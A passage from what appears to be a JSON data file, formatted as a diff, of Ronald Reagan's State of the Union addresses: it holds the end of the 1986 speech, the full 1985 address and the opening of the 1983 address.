darkest--right here in Washington, DC. This week I will send you our\ndetailed proposals; tonight let us speak of our responsibility to redefine\ngovernment's role: not to control, not to demand or command, not to contain\nus, but to help in times of need and, above all, to create a ladder of\nopportunity to full employment so that all Americans can climb toward\neconomic power and justice on their own.But we cannot win the race to the future shackled to a system that can't\neven pass a Federal budget. We cannot win that race held back by\nhorse-and-buggy programs that waste tax dollars and squander human\npotential. We cannot win that race if we're swamped in a sea of red ink.\nNow, Mr. Speaker, you know, I know, and the American people know the\nFederal budget system is broken. It doesn't work. Before we leave this\ncity, let's you and I work together to fix it, and then we can finally give\nthe American people a balanced budget.Members of Congress, passage of Gramm-Rudman-Hollings gives us an historic\nopportunity to achieve what has eluded our national leadership for decades:\nforcing the Federal Government to live within its means. Your schedule now\nrequires that the budget resolution be passed by April 15th, the very day\nAmerica's families have to foot the bill for the budgets that you produce.\nHow often we read of a husband and wife both working, struggling from\npaycheck to paycheck to raise a family, meet a mortgage, pay their taxes\nand bills. And yet some in Congress say taxes must be raised. Well, I'm\nsorry; they're asking the wrong people to tighten their belts. It's time we\nreduce the Federal budget and left the family budget alone. We do not face\nlarge deficits because American families are undertaxed; we face those\ndeficits because the Federal Government overspends.The detailed budget that we will submit will meet the Gramm-Rudman-Hollings\ntarget for deficit reductions, meet our commitment to ensure a strong\nnational defense, meet our commitment to protect Social Security and the\ntruly less fortunate, and, yes, meet our commitment to not raise taxes. How\nshould we accomplish this? Well, not by taking from those in need. As\nfamilies take care of their own, government must provide shelter and\nnourishment for those who cannot provide for themselves. But we must revise\nor replace programs enacted in the name of compassion that degrade the\nmoral worth of work, encourage family breakups, and drive entire\ncommunities into a bleak and heartless dependency. Gramm-Rudman-Hollings\ncan mark a dramatic improvement. But experience shows that simply setting\ndeficit targets does not assure they'll be met. We must proceed with Grace\ncommission reforms against waste.And tonight I ask you to give me what 43 Governors have: Give me a\nline-item veto this year. Give me the authority to veto waste, and I'll\ntake the responsibility, I'll make the cuts, I'll take the heat. This\nauthority would not give me any monopoly power, but simply prevent spending\nmeasures from sneaking through that could not pass on their own merit. And\nyou can sustain or override my veto; that's the way the system should work.\nOnce we've made the hard choices, we should lock in our gains with a\nbalanced budget amendment to the Constitution.I mentioned that we will meet our commitment to national defense. We must\nmeet it. Defense is not just another budget expense. Keeping America\nstrong, free, and at peace is solely the responsibility of the Federal\nGovernment; it is government's prime responsibility. We have devoted 5\nyears trying to narrow a dangerous gap born of illusion and neglect, and\nwe've made important gains. Yet the threat from Soviet forces, conventional\nand strategic, from the Soviet drive for domination, from the increase in\nespionage and state terror remains great. This is reality. Closing our eyes\nwill not make reality disappear. We pledged together to hold real growth in\ndefense spending to the bare minimum. My budget honors that pledge, and I'm\nnow asking you, the Congress, to keep its end of the bargain. The Soviets\nmust know that if America reduces her defenses, it will be because of a\nreduced threat, not a reduced resolve.Keeping America strong is as vital to the national security as controlling\nFederal spending is to our economic security. But, as I have said before,\nthe most powerful force we can enlist against the Federal deficit is an\never-expanding American economy, unfettered and free. The magic of\nopportunity--unreserved, unfailing, unrestrained--isn't this the calling\nthat unites us? I believe our tax rate cuts for the people have done more\nto spur a spirit of risk-taking and help America's economy break free than\nany program since John Kennedy's tax cut almost a quarter century ago.Now history calls us to press on, to complete efforts for an historic tax\nreform providing new opportunity for all and ensuring that all pay their\nfair share, but no more. We've come this far. Will you join me now, and\nwe'll walk this last mile together? You know my views on this. We cannot\nand we will not accept tax reform that is a tax increase in disguise. True\nreform must be an engine of productivity and growth, and that means a top\npersonal rate no higher than 35 percent. True reform must be truly fair,\nand that means raising personal exemptions to $2,000. True reform means a\ntax system that at long last is profamily, projobs, profuture, and\npro-America.As we knock down the barriers to growth, we must redouble our efforts for\nfreer and fairer trade. We have already taken actions to counter unfair\ntrading practices and to pry open closed foreign markets. We will continue\nto do so. We will also oppose legislation touted as providing protection\nthat in reality pits one American worker against another, one industry\nagainst another, one community against another, and that raises prices for\nus all. If the United States can trade with other nations on a level\nplaying field, we can outproduce, outcompete, and outsell anybody, anywhere\nin the world.The constant expansion of our economy and exports requires a sound and\nstable dollar at home and reliable exchange rates around the world. We must\nnever again permit wild currency swings to cripple our farmers and other\nexporters. Farmers, in particular, have suffered from past unwise\ngovernment policies. They must not be abandoned with problems they did not\ncreate and cannot control. We've begun coordinating economic and monetary\npolicy among our major trading partners. But there's more to do, and\ntonight I am directing Treasury Secretary Jim Baker to determine if the\nnations of the world should convene to discuss the role and relationship of\nour currencies.Confident in our future and secure in our values, Americans are striving\nforward to embrace the future. We see it not only in our recovery but in 3\nstraight years of falling crime rates, as families and communities band\ntogether to fight pornography, drugs, and lawlessness and to give back to\ntheir children the safe and, yes, innocent childhood they deserve. We see\nit in the renaissance in education, the rising SAT scores for 3 years--last\nyear's increase, the greatest since 1963. It wasn't government and\nWashington lobbies that turned education around; it was the American people\nwho, in reaching for excellence, knew to reach back to basics. We must\ncontinue the advance by supporting discipline in our schools, vouchers that\ngive parents freedom of choice; and we must give back to our children their\nlost right to acknowledge God in their classrooms.We are a nation of idealists, yet today there is a wound in our national\nconscience. America will never be whole as long as the right to life\ngranted by our Creator is denied to the unborn. For the rest of my time, I\nshall do what I can to see that this wound is one day healed.As we work to make the American dream real for all, we must also look to\nthe condition of America's families. Struggling parents today worry how\nthey will provide their children the advantages that their parents gave\nthem. In the welfare culture, the breakdown of the family, the most basic\nsupport system, has reached crisis proportions--in female and child\npoverty, child abandonment, horrible crimes, and deteriorating schools.\nAfter hundreds of billions of dollars in poverty programs, the plight of\nthe poor grows more painful. But the waste in dollars and cents pales\nbefore the most tragic loss: the sinful waste of human spirit and\npotential. We can ignore this terrible truth no longer. As Franklin\nRoosevelt warned 51 years ago, standing before this Chamber, he said,\n\"Welfare is a narcotic, a subtle destroyer of the human spirit.\" And we\nmust now escape the spider's web of dependency.Tonight I am charging the White House Domestic Council to present me by\nDecember 1, 1986, an evaluation of programs and a strategy for immediate\naction to meet the financial, educational, social, and safety concerns of\npoor families. I'm talking about real and lasting emancipation, because the\nsuccess of welfare should be judged by how many of its recipients become\nindependent of welfare. Further, after seeing how devastating illness can\ndestroy the financial security of the family, I am directing the Secretary\nof Health and Human Services, Dr. Otis Bowen, to report to me by year end\nwith recommendations on how the private sector and government can work\ntogether to address the problems of affordable insurance for those whose\nlife savings would otherwise be threatened when catastrophic illness\nstrikes.And tonight I want to speak directly to America's younger generation,\nbecause you hold the destiny of our nation in your hands. With all the\ntemptations young people face, it sometimes seems the allure of the\npermissive society requires superhuman feats of self-control. But the call\nof the future is too strong, the challenge too great to get lost in the\nblind alleyways of dissolution, drugs, and despair. Never has there been a\nmore exciting time to be alive, a time of rousing wonder and heroic\nachievement. As they said in the film \"Back to the Future,\" \"Where we're\ngoing, we don't need roads.\"Well, today physicists peering into the infinitely small realms of\nsubatomic particles find reaffirmations of religious faith. Astronomers\nbuild a space telescope that can see to the edge of the universe and\npossibly back to the moment of creation. So, yes, this nation remains fully\ncommitted to America's space program. We're going forward with our shuttle\nflights. We're going forward to build our space station. And we are going\nforward with research on a new Orient Express that could, by the end of the\nnext decade, take off from Dulles Airport, accelerate up to 25 times the\nspeed of sound, attaining low Earth orbit or flying to Tokyo within 2\nhours. And the same technology transforming our lives can solve the\ngreatest problem of the 20th century. A security shield can one day render\nnuclear weapons obsolete and free mankind from the prison of nuclear\nterror. America met one historic challenge and went to the Moon. Now\nAmerica must meet another: to make our strategic defense real for all the\ncitizens of planet Earth.Let us speak of our deepest longing for the future: to leave our children a\nland that is free and just and a world at peace. It is my hope that our\nfireside summit in Geneva and Mr. Gorbachev's upcoming visit to America can\nlead to a more stable relationship. Surely no people on Earth hate war or\nlove peace more than we Americans. But we cannot stroll into the future\nwith childlike faith. Our differences with a system that openly proclaims\nand practices an alleged right to command people's lives and to export its\nideology by force are deep and abiding. Logic and history compel us to\naccept that our relationship be guided by realism--rock-hard, cleareyed,\nsteady, and sure. Our negotiators in Geneva have proposed a radical cut in\noffensive forces by each side with no cheating. They have made clear that\nSoviet compliance with the letter and spirit of agreements is essential. If\nthe Soviet Government wants an agreement that truly reduces nuclear arms,\nthere will be such an agreement.But arms control is no substitute for peace. We know that peace follows in\nfreedom's path and conflicts erupt when the will of the people is denied.\nSo, we must prepare for peace not only by reducing weapons but by\nbolstering prosperity, liberty, and democracy however and wherever we can.\nWe advance the promise of opportunity every time we speak out on behalf of\nlower tax rates, freer markets, sound currencies around the world. We\nstrengthen the family of freedom every time we work with allies and come to\nthe aid of friends under siege. And we can enlarge the family of free\nnations if we will defend the unalienable rights of all God's children to\nfollow their dreams.To those imprisoned in regimes held captive, to those beaten for daring to\nfight for freedom and democracy--for their right to worship, to speak, to\nlive, and to prosper in the family of free nations--we say to you tonight:\nYou are not alone, freedom fighters. America will support with moral and\nmaterial assistance your right not just to fight and die for freedom but to\nfight and win freedom--to win freedom in Afghanistan, in Angola, in\nCambodia, and in Nicaragua. This is a great moral challenge for the entire\nfree world.Surely no issue is more important for peace in our own hemisphere, for the\nsecurity of our frontiers, for the protection of our vital interests, than\nto achieve democracy in Nicaragua and to protect Nicaragua's democratic\nneighbors. This year I will be asking Congress for the means to do what\nmust be done for that great and good cause. As (former Senator Henry\nM.)Scoop Jackson, the inspiration for our Bipartisan Commission on Central\nAmerica, once said, \"In matters of national security, the best politics is\nno politics.\"What we accomplish this year, in each challenge we face, will set our\ncourse for the balance of the decade, indeed, for the remainder of the\ncentury. After all we've done so far, let no one say that this nation\ncannot reach the destiny of our dreams. America believes, America is ready,\nAmerica can win the race to the future--and we shall. The American dream is\na song of hope that rings through night winter air; vivid, tender music\nthat warms our hearts when the least among us aspire to the greatest\nthings: to venture a daring enterprise; to unearth new beauty in music,\nliterature, and art; to discover a new universe inside a tiny silicon chip\nor a single human cell.We see the dream coming true in the spirit of discovery of Richard Cavoli.\nAll his life he's been enthralled by the mysteries of medicine. And,\nRichard, we know that the experiment that you began in high school was\nlaunched and lost last week, yet your dream lives. And as long as it's\nreal, work of noble note will yet be done, work that could reduce the\nharmful effects of x rays on patients and enable astronomers to view the\ngolden gateways of the farthest stars.We see the dream glow in the towering talent of a 12-year-old, Tyrone Ford.\nA child prodigy of gospel music, he has surmounted personal adversity to\nbecome an accomplished pianist and singer. He also directs the choirs of\nthree churches and has performed at the Kennedy Center. With God as your\ncomposer, Tyrone, your music will be the music of angels.We see the dream being saved by the courage of the 13-year-old Shelby\nButler, honor student and member of her school's safety patrol. Seeing\nanother girl freeze in terror before an out-of-control school bus, she\nrisked her life and pulled her to safety. With bravery like yours, Shelby,\nAmerica need never fear for our future.And we see the dream born again in the joyful compassion of a 13 year old,\nTrevor Ferrell. Two years ago, age 11, watching men and women bedding down\nin abandoned doorways--on television he was watching--Trevor left his\nsuburban Philadelphia home to bring blankets and food to the helpless and\nhomeless. And now 250 people help him fulfill his nightly vigil. Trevor,\nyours is the living spirit of brotherly love.Would you four stand up for a moment? Thank you, thank you. You are heroes\nof our hearts. We look at you and know it's true: In this land of dreams\nfulfilled, where greater dreams may be imagined, nothing is impossible, no\nvictory is beyond our reach, no glory will ever be too great.So, now it's up to us, all of us, to prepare America for that day when our\nwork will pale before the greatness of America's champions in the 21st\ncentury. The world's hopes rest with America's future; America's hopes rest\nwith us. So, let us go forward to create our world of tomorrow in faith, in\nunity, and in love.God bless you, and God bless America.NOTE: The President spoke at 8:04 p.m. in the House Chamber of the Capitol.\nHe was introduced by Thomas P. O'Neill, Jr., Speaker of the House of\nRepresentatives. The address was broadcast live on nationwide radio\nand television.", 
+    "name": "Ronald Reagan"
+}
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+{
+    "date": "February 6, 1985", 
+    "speech": "Mr. Speaker, Mr. President, distinguished Members of the Congress, honored\nguests, and fellow citizens:I come before you to report on the state of our Union, and I'm pleased to\nreport that after 4 years of united effort, the American people have\nbrought forth a nation renewed, stronger, freer, and more secure than\nbefore.Four years ago we began to change, forever I hope, our assumptions about\ngovernment and its place in our lives. Out of that change has come great\nand robust growth--in our confidence, our economy, and our role in the\nworld.Tonight America is stronger because of the values that we hold dear. We\nbelieve faith and freedom must be our guiding stars, for they show us\ntruth, they make us brave, give us hope, and leave us wiser than we were.\nOur progress began not in Washington, DC, but in the hearts of our\nfamilies, communities, workplaces, and voluntary groups which, together,\nare unleashing the invincible spirit of one great nation under God.Four years ago we said we would invigorate our economy by giving people\ngreater freedom and incentives to take risks and letting them keep more of\nwhat they earned. We did what we promised, and a great industrial giant is\nreborn.Tonight we can take pride in 25 straight months of economic growth, the\nstrongest in 34 years; a 3-year inflation average of 3.9 percent, the\nlowest in 17 years; and 7.3 million new jobs in 2 years, with more of our\ncitizens working than ever before.New freedom in our lives has planted the rich seeds for future success:For an America of wisdom that honors the family, knowing that if (as) the\nfamily goes, so goes our civilization;For an America of vision that sees tomorrow's dreams in the learning and\nhard work we do today;For an America of courage whose service men and women, even as we meet,\nproudly stand watch on the frontiers of freedom;For an America of compassion that opens its heart to those who cry out for\nhelp.We have begun well. But it's only a beginning. We're not here to\ncongratulate ourselves on what we have done but to challenge ourselves to\nfinish what has not yet been done.We're here to speak for millions in our inner cities who long for real\njobs, safe neighborhoods, and schools that truly teach. We're here to speak\nfor the American farmer, the entrepreneur, and every worker in industries\nfighting to modernize and compete. And, yes, we're here to stand, and\nproudly so, for all who struggle to break free from totalitarianism, for\nall who know in their hearts that freedom is the one true path to peace and\nhuman happiness.Proverbs tell us, without a vision the people perish. When asked what great\nprinciple holds our Union together, Abraham Lincoln said: \"Something in\n(the) Declaration giving liberty, not alone to the people of this country,\nbut hope to the world for all future time.\"We honor the giants of our history not by going back but forward to the\ndreams their vision foresaw. My fellow citizens, this nation is poised for\ngreatness. The time has come to proceed toward a great new challenge--a\nsecond American Revolution of hope and opportunity; a revolution carrying\nus to new heights of progress by pushing back frontiers of knowledge and\nspace; a revolution of spirit that taps the soul of America, enabling us to\nsummon greater strength than we've ever known; and a revolution that\ncarries beyond our shores the golden promise of human freedom in a world of\npeace.Let us begin by challenging our conventional wisdom. There are no\nconstraints on the human mind, no walls around the human spirit, no\nbarriers to our progress except those we ourselves erect. Already, pushing\ndown tax rates has freed our economy to vault forward to record growth.In Europe, they're calling it \"the American Miracle.\" Day by day, we're\nshattering accepted notions of what is possible. When I was growing up, we\nfailed to see how a new thing called radio would transform our marketplace.\nWell, today, many have not yet seen how advances in technology are\ntransforming our lives.In the late 1950's workers at the AT&T; semiconductor plant in Pennsylvania\nproduced five transistors a day for $7.50 apiece. They now produce over a\nmillion for less than a penny apiece.New laser techniques could revolutionize heart bypass surgery, cut\ndiagnosis time for viruses linked to cancer from weeks to minutes, reduce\nhospital costs dramatically, and hold out new promise for saving human\nlives.Our automobile industry has overhauled assembly lines, increased worker\nproductivity, and is competitive once again.We stand on the threshold of a great ability to produce more, do more, be\nmore. Our economy is not getting older and weaker; it's getting younger and\nstronger. It doesn't need rest and supervision; it needs new challenge,\ngreater freedom. And that word \"freedom\" is the key to the second American\nrevolution that we need to bring about.Let us move together with an historic reform of tax simplification for\nfairness and growth. Last year I asked Treasury Secretary-then-Regan to\ndevelop a plan to simplify the tax code, so all taxpayers would be treated\nmore fairly and personal tax rates could come further down.We have cut tax rates by almost 25 percent, yet the tax system remains\nunfair and limits our potential for growth. Exclusions and exemptions cause\nsimilar incomes to be taxed at different levels. Low-income families face\nsteep tax barriers that make hard lives even harder. The Treasury\nDepartment has produced an excellent reform plan, whose principles will\nguide the final proposal that we will ask you to enact.One thing that tax reform will not be is a tax increase in disguise. We\nwill not jeopardize the mortgage interest deduction that families need. We\nwill reduce personal tax rates as low as possible by removing many tax\npreferences. We will propose a top rate of no more than 35 percent, and\npossibly lower. And we will propose reducing corporate rates, while\nmaintaining incentives for capital formation.To encourage opportunity and jobs rather than dependency and welfare, we\nwill propose that individuals living at or near the poverty line be totally\nexempt from Federal income tax. To restore fairness to families, we will\npropose increasing significantly the personal exemption.And tonight, I am instructing Treasury Secretary James Baker--I have to get\nused to saying that--to begin working with congressional authors and\ncommittees for bipartisan legislation conforming to these principles. We\nwill call upon the American people for support and upon every man and woman\nin this Chamber. Together, we can pass, this year, a tax bill for fairness,\nsimplicity, and growth, making this economy the engine of our dreams and\nAmerica the investment capital of the world. So let us begin.Tax simplification will be a giant step toward unleashing the tremendous\npent-up power of our economy. But a second American revolution must carry\nthe promise of opportunity for all. It is time to liberate the spirit of\nenterprise in the most distressed areas of our country.This government will meet its responsibility to help those in need. But\npolicies that increase dependency, break up families, and destroy\nself-respect are not progressive; they're reactionary. Despite our strides\nin civil rights, blacks, Hispanics, and all minorities will not have full\nand equal power until they have full economic power.We have repeatedly sought passage of enterprise zones to help those in the\nabandoned corners of our land find jobs, learn skills, and build better\nlives. This legislation is supported by a majority of you.Mr. Speaker, I know we agree that there must be no forgotten Americans.\nLet us place new dreams in a million hearts and create a new generation of\nentrepreneurs by passing enterprise zones this year. And, Tip, you could\nmake that a birthday present.Nor must we lose the chance to pass our youth employment opportunity wage\nproposal. We can help teenagers, who have the highest unemployment rate,\nfind summer jobs, so they can know the pride of work and have confidence in\ntheir futures.We'll continue to support the Job Training Partnership Act, which has a\nnearly two-thirds job placement rate. Credits in education and health care\nvouchers will help working families shop for services that they need.Our administration is already encouraging certain low-income public housing\nresidents to own and manage their own dwellings. It's time that all public\nhousing residents have that opportunity of ownership.The Federal Government can help create a new atmosphere of freedom. But\nStates and localities, many of which enjoy surpluses from the recovery,\nmust not permit their tax and regulatory policies to stand as barriers to\ngrowth.Let us resolve that we will stop spreading dependency and start spreading\nopportunity; that we will stop spreading bondage and start spreading\nfreedom.There are some who say that growth initiatives must await final action on\ndeficit reductions. Well, the best way to reduce deficits is through\neconomic growth. More businesses will be started, more investments made,\nmore jobs created, and more people will be on payrolls paying taxes. The\nbest way to reduce government spending is to reduce the need for spending\nby increasing prosperity. Each added percentage point per year of real GNP\ngrowth will lead to cumulative reduction in deficits of nearly $200 billion\nover 5 years.To move steadily toward a balanced budget, we must also lighten\ngovernment's claim on our total economy. We will not do this by raising\ntaxes. We must make sure that our economy grows faster than the growth in\nspending by the Federal Government. In our fiscal year 1986 budget, overall\ngovernment program spending will be frozen at the current level. It must\nnot be one dime higher than fiscal year 1985, and three points are key.First, the social safety net for the elderly, the needy, the disabled, and\nunemployed will be left intact. Growth of our major health care programs,\nMedicare and Medicaid, will be slowed, but protections for the elderly and\nneedy will be preserved.Second, we must not relax our efforts to restore military strength just as\nwe near our goal of a fully equipped, trained, and ready professional\ncorps. National security is government's first responsibility; so in past\nyears defense spending took about half the Federal budget. Today it takes\nless than a third. We've already reduced our planned defense expenditures\nby nearly a hundred billion dollars over the past 4 years and reduced\nprojected spending again this year.You know, we only have a military-industrial complex until a time of\ndanger, and then it becomes the arsenal of democracy. Spending for defense\nis investing in things that are priceless--peace and freedom.Third, we must reduce or eliminate costly government subsidies. For\nexample, deregulation of the airline industry has led to cheaper airfares,\nbut on Amtrak taxpayers pay about $35 per passenger every time an Amtrak\ntrain leaves the station, It's time we ended this huge Federal subsidy.Our farm program costs have quadrupled in recent years. Yet I know from\nvisiting farmers, many in great financial distress, that we need an orderly\ntransition to a market-oriented farm economy. We can help farmers best not\nby expanding Federal payments but by making fundamental reforms, keeping\ninterest rates heading down, and knocking down foreign trade barriers to\nAmerican farm exports.We're moving ahead with Grace commission reforms to eliminate waste and\nimprove government's management practices. In the long run, we must protect\nthe taxpayers from government. And I ask again that you pass, as 32 States\nhave now called for, an amendment mandating the Federal Government spend no\nmore than it takes in. And I ask for the authority, used responsibly by 43\nGovernors, to veto individual items in appropriation bills. Senator\nMattingly has introduced a bill permitting a 2-year trial run of the\nline-item veto. I hope you'll pass and send that legislation to my desk.Nearly 50 years of government living beyond its means has brought us to a\ntime of reckoning. Ours is but a moment in history. But one moment of\ncourage, idealism, and bipartisan unity can change American history\nforever.Sound monetary policy is key to long-running economic strength and\nstability. We will continue to cooperate with the Federal Reserve Board,\nseeking a steady policy that ensures price stability without keeping\ninterest rates artificially high or needlessly holding down growth.Reducing unneeded red tape and regulations, and deregulating the energy,\ntransportation, and financial industries have unleashed new competition,\ngiving consumers more choices, better services, and lower prices. In just\none set of grant programs we have reduced 905 pages of regulations to 31.\nWe seek to fully deregulate natural gas to bring on new supplies and bring\nus closer to energy independence. Consistent with safety standards, we will\ncontinue removing restraints on the bus and railroad industries, we will\nsoon end up legislation--or send up legislation, I should say--to return\nConrail to the private sector where it belongs, and we will support further\nderegulation of the trucking industry.Every dollar the Federal Government does not take from us, every decision\nit does not make for us will make our economy stronger, our lives more\nabundant, our future more free.Our second American revolution will push on to new possibilities not only\non Earth but in the next frontier of space. Despite budget restraints, we\nwill seek record funding for research and development.We've seen the success of the space shuttle. Now we're going to develop a\npermanently manned space station and new opportunities for free enterprise,\nbecause in the next decade Americans and our friends around the world will\nbe living and working together in space.In the zero gravity of space, we could manufacture in 30 days lifesaving\nmedicines it would take 30 years to make on Earth. We can make crystals of\nexceptional purity to produce super computers, creating jobs, technologies,\nand medical breakthroughs beyond anything we ever dreamed possible.As we do all this, we'll continue to protect our natural resources. We will\nseek reauthorization and expanded funding for the Superfund program to\ncontinue cleaning up hazardous waste sites which threaten human health and\nthe environment.Now, there's another great heritage to speak of this evening. Of all the\nchanges that have swept America the past 4 years, none brings greater\npromise than our rediscovery of the values of faith, freedom, family, work,\nand neighborhood.We see signs of renewal in increased attendance in places of worship;\nrenewed optimism and faith in our future; love of country rediscovered by\nour young, who are leading the way. We've rediscovered that work is good in\nand of itself, that it ennobles us to create and contribute no matter how\nseemingly humble our jobs. We've seen a powerful new current from an old\nand honorable tradition--American generosity.From thousands answering Peace Corps appeals to help boost food production\nin Africa, to millions volunteering time, corporations adopting schools,\nand communities pulling together to help the neediest among us at home, we\nhave refound our values. Private sector initiatives are crucial to our\nfuture.I thank the Congress for passing equal access legislation giving religious\ngroups the same right to use classrooms after school that other groups\nenjoy. But no citizen need tremble, nor the world shudder, if a child\nstands in a classroom and breathes a prayer. We ask you again, give\nchildren back a right they had for a century and a half or more in this\ncountry.The question of abortion grips our nation. Abortion is either the taking of\na human life or it isn't. And if it is--and medical technology is\nincreasingly showing it is--it must be stopped. It is a terrible irony that\nwhile some turn to abortion, so many others who cannot become parents cry\nout for children to adopt. We have room for these children. We can fill the\ncradles of those who want a child to love. And tonight I ask you in the\nCongress to move this year on legislation to protect the unborn.In the area of education, we're returning to excellence, and again, the\nheroes are our people, not government. We're stressing basics of\ndiscipline, rigorous testing, and homework, while helping children become\ncomputer-smart as well. For 20 years scholastic aptitude test scores of our\nhigh school students went down, but now they have gone up 2 of the last 3\nyears. We must go forward in our commitment to the new basics, giving\nparents greater authority and making sure good teachers are rewarded for\nhard work and achievement through merit pay.Of all the changes in the past 20 years, none has more threatened our sense\nof national well-being than the explosion of violent crime. One does not\nhave to be attacked to be a victim. The woman who must run to her car after\nshopping at night is a victim. The couple draping their door with locks and\nchains are victims; as is the tired, decent cleaning woman who can't ride a\nsubway home without being afraid.We do not seek to violate the rights of defendants. But shouldn't we feel\nmore compassion for the victims of crime than for those who commit crime?\nFor the first time in 20 years, the crime index has fallen 2 years in a\nrow. We've convicted over 7,400 drug offenders and put them, as well as\nleaders of organized crime, behind bars in record numbers.But we must do more. I urge the House to follow the Senate and enact\nproposals permitting use of all reliable evidence that police officers\nacquire in good faith. These proposals would also reform the habeas corpus\nlaws and allow, in keeping with the will of the overwhelming majority of\nAmericans, the use of the death penalty where necessary.There can be no economic revival in ghettos when the most violent among us\nare allowed to roam free. It's time we restored domestic tranquility. And\nwe mean to do just that.Just as we're positioned as never before to secure justice in our economy,\nwe're poised as never before to create a safer, freer, more peaceful world.\nOur alliances are stronger than ever. Our economy is stronger than ever. We\nhave resumed our historic role as a leader of the free world. And all of\nthese together are a great force for peace.Since 1981 we've been committed to seeking fair and verifiable arms\nagreements that would lower the risk of war and reduce the size of nuclear\narsenals. Now our determination to maintain a strong defense has influenced\nthe Soviet Union to return to the bargaining table. Our negotiators must be\nable to go to that table with the united support of the American people.\nAll of us have no greater dream than to see the day when nuclear weapons\nare banned from this Earth forever.Each Member of the Congress has a role to play in modernizing our defenses,\nthus supporting our chances for a meaningful arms agreement. Your vote this\nspring on the Peacekeeper missile will be a critical test of our resolve to\nmaintain the strength we need and move toward mutual and verifiable arms\nreductions.For the past 20 years we've believed that no war will be launched as long\nas each side knows it can retaliate with a deadly counterstrike. Well, I\nbelieve there's a better way of eliminating the threat of nuclear war. It\nis a Strategic Defense Initiative aimed ultimately at finding a nonnuclear\ndefense against ballistic missiles. It's the most hopeful possibility of\nthe nuclear age. But it's not very well understood.Some say it will bring war to the heavens, but its purpose is to deter war\nin the heavens and on Earth. Now, some say the research would be expensive.\nPerhaps, but it could save millions of lives, indeed humanity itself. And\nsome say if we build such a system, the Soviets will build a defense system\nof their own. Well, they already have strategic defenses that surpass ours;\na civil defense system, where we have almost none; and a research program\ncovering roughly the same areas of technology that we're now exploring. And\nfinally some say the research will take a long time. Well, the answer to\nthat is: Let's get started.Harry Truman once said that, ultimately, our security and the world's hopes\nfor peace and human progress \"lie not in measures of defense or in the\ncontrol of weapons, but in the growth and expansion of freedom and\nself-government.\"And tonight, we declare anew to our fellow citizens of the world: Freedom\nis not the sole prerogative of a chosen few; it is the universal right of\nall God's children. Look to where peace and prosperity flourish today. It\nis in homes that freedom built. Victories against poverty are greatest and\npeace most secure where people live by laws that ensure free press, free\nspeech, and freedom to worship, vote, and create wealth.Our mission is to nourish and defend freedom and democracy, and to\ncommunicate these ideals everywhere we can. America's economic success is\nfreedom's success; it can be repeated a hundred times in a hundred\ndifferent nations. Many countries in east Asia and the Pacific have few\nresources other than the enterprise of their own people. But through low\ntax rates and free markets they've soared ahead of centralized economies.\nAnd now China is opening up its economy to meet its needs.We need a stronger and simpler approach to the process of making and\nimplementing trade policy, and we'll be studying potential changes in that\nprocess in the next few weeks. We've seen the benefits of free trade and\nlived through the disasters of protectionism. Tonight I ask all our trading\npartners, developed and developing alike, to join us in a new round of\ntrade negotiations to expand trade and competition and strengthen the\nglobal economy--and to begin it in this next year.There are more than 3 billion human beings living in Third World countries\nwith an average per capita income of $650 a year. Many are victims of\ndictatorships that impoverished them with taxation and corruption. Let us\nask our allies to join us in a practical program of trade and assistance\nthat fosters economic development through personal incentives to help these\npeople climb from poverty on their own.We cannot play innocents abroad in a world that's not innocent; nor can we\nbe passive when freedom is under siege. Without resources, diplomacy cannot\nsucceed. Our security assistance programs help friendly governments defend\nthemselves and give them confidence to work for peace. And I hope that you\nin the Congress will understand that, dollar for dollar, security\nassistance contributes as much to global security as our own defense\nbudget.We must stand by all our democratic allies. And we must not break faith\nwith those who are risking their lives--on every continent, from\nAfghanistan to Nicaragua--to defy Soviet-supported aggression and secure\nrights which have been ours from birth.The Sandinista dictatorship of Nicaragua, with full Cuban-Soviet bloc\nsupport, not only persecutes its people, the church, and denies a free\npress, but arms and provides bases for Communist terrorists attacking\nneighboring states. Support for freedom fighters is self-defense and\ntotally consistent with the OAS and U.N. Charters. It is essential that the\nCongress continue all facets of our assistance to Central America. I want\nto work with you to support the democratic forces whose struggle is tied to\nour own security.And tonight, I've spoken of great plans and great dreams. They're dreams we\ncan make come true. Two hundred years of American history should have\ntaught us that nothing is impossible.Ten years ago a young girl left Vietnam with her family, part of the exodus\nthat followed the fall of Saigon. They came to the United States with no\npossessions and not knowing a word of English. Ten years ago--the young\ngirl studied hard, learned English, and finished high school in the top of\nher class. And this May, May 22d to be exact, is a big date on her\ncalendar. Just 10 years from the time she left Vietnam, she will graduate\nfrom the United States Military Academy at West Point. I thought you might\nlike to meet an American hero named Jean Nguyen.Now, there's someone else here tonight, born 79 years ago. She lives in the\ninner city, where she cares for infants born of mothers who are heroin\naddicts. The children, born in withdrawal, are sometimes even dropped on\nher doorstep. She helps them with love. Go to her house some night, and\nmaybe you'll see her silhouette against the window as she walks the floor\ntalking softly, soothing a child in her arms--Mother Hale of Harlem, and\nshe, too, is an American hero.Jean, Mother Hale, your lives tell us that the oldest American saying is\nnew again: Anything is possible in America if we have the faith, the will,\nand the heart. History is asking us once again to be a force for good in\nthe world. Let us begin in unity, with justice, and love.Thank you, and God bless you.NOTE: The President spoke at 9:05 p.m. in the House Chamber of the Capitol.\nHe was introduced by Thomas P. O'Neill, Jr., Speaker of the House of\nRepresentatives. The address was broadcast live on nationwide radio\nand television.", 
+    "name": "Ronald Reagan"
+}
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+{
+    "date": "January 25, 1983", 
+    "speech": "Mr. Speaker, Mr. President, distinguished Members of the Congress, honored\nguests, and fellow citizens:This solemn occasion marks the 196th time that a President of the United\nStates has reported on the State of the Union since George Washington first\ndid so in 1790. That's a lot of reports, but there's no shortage of new\nthings to say about the State of the Union. The very key to our success has\nbeen our ability, foremost among nations, to preserve our lasting values by\nmaking change work for us rather than against us.I would like to talk with you this evening about what we can do\ntogether--not as Republicans and Democrats, but as Americans--to make\ntomorrow's America happy and prosperous at home, strong and respected\nabroad, and at peace in the world.As we gather here tonight, the state of our Union is strong, but our\neconomy is troubled. For too many of our fellow citizens--farmers, steel and\nauto workers, lumbermen, black teenagers, working mothers--this is a painful\nperiod. We must all do everything in our power to bring their ordeal to an\nend. It has fallen to us, in our time, to undo damage that was a long time\nin the making, and to begin the hard but necessary task of building a\nbetter future for ourselves and our children.We have a long way to go, but thanks to the courage, patience, and strength\nof our people, America is on the mend.But let me give you just one important reason why I believe this--it\ninvolves many members of this body.Just 10 days ago, after months of debate and deadlock, the bipartisan\nCommission on Social Security accomplished the seemingly impossible. Social\nsecurity, as some of us had warned for so long, faced disaster. I, myself,\nhave been talking about this problem for almost 30 years. As 1983 began,\nthe system stood on the brink of bankruptcy, a double victim of our\neconomic ills. First, a decade of rampant inflation drained its reserves as\nwe tried to protect beneficiaries from the spiraling cost of living. 